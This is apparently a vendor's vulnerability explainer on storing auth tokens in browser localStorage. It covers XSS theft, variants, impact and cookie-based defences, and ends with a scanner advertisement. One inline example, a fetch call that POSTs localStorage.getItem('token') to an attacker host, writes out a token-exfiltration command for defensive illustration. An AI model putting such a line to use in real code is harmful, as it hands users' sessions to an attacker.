FixVibe

// 密钥 / 聚焦

浏览器存储中的 Token

localStorage 是 JavaScript 可读的。存在那里的认证 token 在设计上就是 XSS 可窃取的。

概要

Storing auth tokens in localStorage is one of the most-debated patterns in web security and one of the most-shipped patterns in production. The motivation is real — cookies are fiddly, CSRF protection is annoying, cross-domain requests don't carry cookies easily — and the framework tutorials make it look easy: 'just save the JWT in localStorage and add it to your fetch headers.' The trade-off the tutorials don't make explicit: localStorage is JavaScript-readable by definition, so you've forfeited the single biggest XSS-blast-radius reduction (HttpOnly cookies). Every successful XSS in your app — DOM-based, reflected, or stored — is now a complete account takeover with no work beyond `fetch(attacker, { method: 'POST', body: localStorage.getItem('token') })`.

工作原理

localStorage is plain key-value storage accessible from any JavaScript running on the origin. Unlike cookies, there is no flag that prevents scripts from reading it; the API is `localStorage.getItem('token')` and that's it. sessionStorage has the same story (just a shorter lifetime). The exfiltration takes one line of JavaScript: an attacker who lands any flavor of XSS — even a brief one in an obscure code path — reads the token, ships it to attacker.tld, and now has session-equivalent access from anywhere. Some apps try to mitigate by using short-lived tokens, but 'short' in JS is still long enough — the attacker doesn't replay the token weeks later, they replay it in real time during the same session.

变种

JWT in localStorage

Most common pattern. Login response stores the JWT, fetch interceptor adds it to Authorization headers. XSS reads it, session is over.

OAuth tokens in sessionStorage

Same readable-from-JS story; just a shorter window. Some SPA frameworks default to this for OAuth flows.

Refresh token in localStorage

Worse than access tokens — refresh tokens persist longer and let the attacker mint new access tokens indefinitely.

PII in browser storage

Not just tokens. Some apps cache user PII, billing info, or document drafts in localStorage. XSS exfiltrates all of it, not just the auth token.

影响范围

Full session hijack on any successful XSS. The token doesn't need to be valid for long — the exfiltration is instant. With refresh tokens stored alongside, the attacker maintains access indefinitely. PII leakage if the app caches user data in storage — emails, addresses, document content. In B2B SaaS, this becomes a multi-tenant disclosure event.

// what fixvibe checks

What FixVibe checks

FixVibe checks shipped client assets for high-confidence secret exposure signals and known credential formats. Reports identify the affected asset and rotation path. For check-specific questions about exact detection heuristics, active payload details, or source-code rule patterns, contact support@fixvibe.app.

铁壁防御

Store auth tokens in HttpOnly + Secure + SameSite=Lax cookies. The browser sends them automatically with same-site requests; JavaScript can't read them. Treat localStorage as user-readable display state (UI preferences, last-viewed item, etc.) rather than auth state. If you have a genuine architectural need for token-in-JS (cross-domain APIs that can't use cookies, mobile webview integrations), keep the token lifetime aggressively short (5-15 min), use refresh-token rotation with detection of replay (refresh tokens are single-use; re-using a previously-used refresh token signals theft), and pair with strict CSP so the XSS that reads the token is hard to land in the first place. Under no circumstance should refresh tokens or PII live in localStorage long-term — the cost-benefit of 'easier development' versus 'XSS = total compromise' is wildly lopsided.

// 在你自己的应用上跑一遍

放心继续发布,FixVibe 持续帮你看守风险。

FixVibe 像攻击者一样对你的应用公开面进行压力测试 —— 无代理、无安装、无信用卡。我们持续研究新的漏洞模式,并把它们转化成实用检查和可直接用于 Cursor、Claude、Copilot 的修复方案。

密钥
39
本类别中触发的测试
模块
5
专属 密钥 检查
每次扫描
384+
跨所有类别的测试
  • 免费 —— 无需信用卡,无需安装,无需 Slack 通知
  • 只需粘贴 URL —— 我们爬取、探测、生成报告
  • 按严重程度分级,去重至只剩信号
  • 最新 AI 修复提示词,可直接粘贴到 Cursor、Claude、Copilot
运行免费扫描

// 最新检查 · 实用修复 · 安心发布

浏览器存储中的 Token — 漏洞聚焦 | FixVibe · FixVibe